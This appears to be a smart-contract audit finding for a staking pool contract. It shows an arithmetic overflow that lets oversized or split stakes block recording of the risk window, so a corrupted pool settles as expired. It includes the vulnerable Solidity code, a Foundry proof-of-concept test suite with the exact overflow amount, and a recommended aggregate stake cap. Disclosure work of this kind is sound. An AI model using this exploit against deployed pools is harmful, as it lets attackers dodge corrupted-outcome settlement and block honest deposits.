When a caller invokes an observation path during an active-risk state, the pool is expected to successfully record riskWindowStart. This matters because riskWindowStart controls later settlement behavior. Once active risk is observed, the pool should not behave as if no risk window existed.
The attacker is a malicious oversized pre-risk staker, potentially split across many attacker-controlled addresses.
There is a real range where pre-risk staking succeeds, but the first later attempt to observe UNDER_ATTACK reverts with an arithmetic panic. Because the observation reverts, riskWindowStart remains zero.
That creates a dangerous settlement mismatch. Even after the registry later becomes CORRUPTED, the pool can still go through the EXPIRED branch in claimExpired() because the contract never successfully recorded the active-risk window.
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
_observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
...
}
function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
...
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (
!scopeLocked && state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
) {
scopeLocked = true;
emit ScopeLocked(block.timestamp);
}
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}
function claimExpired() external nonReentrant {
if (block.timestamp < expiry) revert PoolNotExpired();
if (outcome != PoolStates.Outcome.UNRESOLVED && outcome != PoolStates.Outcome.EXPIRED) {
revert InvalidOutcome();
}
if (outcome == PoolStates.Outcome.UNRESOLVED) {
IAttackRegistry.ContractState state = _observePoolState();
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}
if (state == IAttackRegistry.ContractState.PRODUCTION) {
outcome = PoolStates.Outcome.SURVIVED;
outcomeFlaggedAt = riskWindowEnd;
emit OutcomeFlagged(address(0), PoolStates.Outcome.SURVIVED, false, address(0));
} else {
outcome = PoolStates.Outcome.EXPIRED;
outcomeFlaggedAt = expiry;
emit OutcomeFlagged(address(0), PoolStates.Outcome.EXPIRED, false, address(0));
}
claimsStarted = true;
}
...
}
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {stdError} from "forge-std/StdError.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
contract ObservationOverflowPoC is Test {
uint256 internal constant HUGE_OBSERVE =
37_807_795_212_994_883_233_255_485_133_754_441_088_844_733_464_582_688_535_193;
uint256 internal constant SPLIT_ATTACKERS = 64;
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreement;
ConfidencePool internal pool;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal honestStaker = makeAddr("honestStaker");
address internal staker = makeAddr("staker");
address internal sponsor = makeAddr("sponsor");
function setUp() external {
vm.warp(1_750_000_000);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreement = new MockAgreement(sponsor);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(agreement), true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
pool.initialize(
address(agreement),
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
1,
recovery,
sponsor,
scope
);
}
function test_hugeStakeCanBlockRiskObservationAndLetCorruptedPoolResolveExpired() external {
token.mint(honestStaker, 1e18);
vm.startPrank(honestStaker);
token.approve(address(pool), 1e18);
pool.stake(1e18);
vm.stopPrank();
token.mint(staker, HUGE_OBSERVE);
vm.startPrank(staker);
token.approve(address(pool), HUGE_OBSERVE);
pool.stake(HUGE_OBSERVE);
vm.stopPrank();
vm.warp(block.timestamp + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "risk window stayed unopened");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(pool.expiry());
uint256 honestBefore = token.balanceOf(honestStaker);
vm.prank(honestStaker);
pool.claimExpired();
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.EXPIRED),
"corrupted pool escaped via expired"
);
assertEq(pool.riskWindowStart(), 0, "still no observed risk window");
assertEq(token.balanceOf(honestStaker) - honestBefore, 1e18, "honest staker recovered principal");
}
function test_splitAttackersCanAggregateIntoSameRiskObservationOverflow() external {
token.mint(honestStaker, 1e18);
vm.startPrank(honestStaker);
token.approve(address(pool), 1e18);
pool.stake(1e18);
vm.stopPrank();
uint256 perAttacker = (HUGE_OBSERVE / SPLIT_ATTACKERS) + 1;
for (uint256 i; i < SPLIT_ATTACKERS; ++i) {
address attackerShard = address(uint160(0xB000 + i));
token.mint(attackerShard, perAttacker);
vm.startPrank(attackerShard);
token.approve(address(pool), perAttacker);
pool.stake(perAttacker);
vm.stopPrank();
}
vm.warp(block.timestamp + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "risk window stayed unopened");
}
function test_sameObservationOverflowAlsoBricksActiveRiskStakeEntry() external {
_buildSplitPoisonedPool();
address lateStaker = makeAddr("lateStaker");
token.mint(lateStaker, 1e18);
vm.startPrank(lateStaker);
token.approve(address(pool), 1e18);
vm.expectRevert(stdError.arithmeticError);
pool.stake(1e18);
vm.stopPrank();
assertEq(pool.riskWindowStart(), 0, "risk window stayed unopened");
}
function test_sameObservationOverflowAlsoBricksActiveRiskBonusContribution() external {
_buildSplitPoisonedPool();
address bonusContributor = makeAddr("bonusContributor");
token.mint(bonusContributor, 1e18);
vm.startPrank(bonusContributor);
token.approve(address(pool), 1e18);
vm.expectRevert(stdError.arithmeticError);
pool.contributeBonus(1e18);
vm.stopPrank();
assertEq(pool.riskWindowStart(), 0, "risk window stayed unopened");
}
function _buildSplitPoisonedPool() internal {
token.mint(honestStaker, 1e18);
vm.startPrank(honestStaker);
token.approve(address(pool), 1e18);
pool.stake(1e18);
vm.stopPrank();
uint256 perAttacker = (HUGE_OBSERVE / SPLIT_ATTACKERS) + 1;
for (uint256 i; i < SPLIT_ATTACKERS; ++i) {
address attackerShard = address(uint160(0xC000 + i));
token.mint(attackerShard, perAttacker);
vm.startPrank(attackerShard);
token.approve(address(pool), perAttacker);
pool.stake(perAttacker);
vm.stopPrank();
}
vm.warp(block.timestamp + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
}
}
Enforce an aggregate stake cap derived from the maximum valid observation timestamp, such as expiry, so _markRiskWindowStart() and later claim arithmetic remain safe for every accepted pool state.
The cap must be enforced against aggregate stake, not only per-user stake, because the overflow can be reached through many attacker-controlled addresses.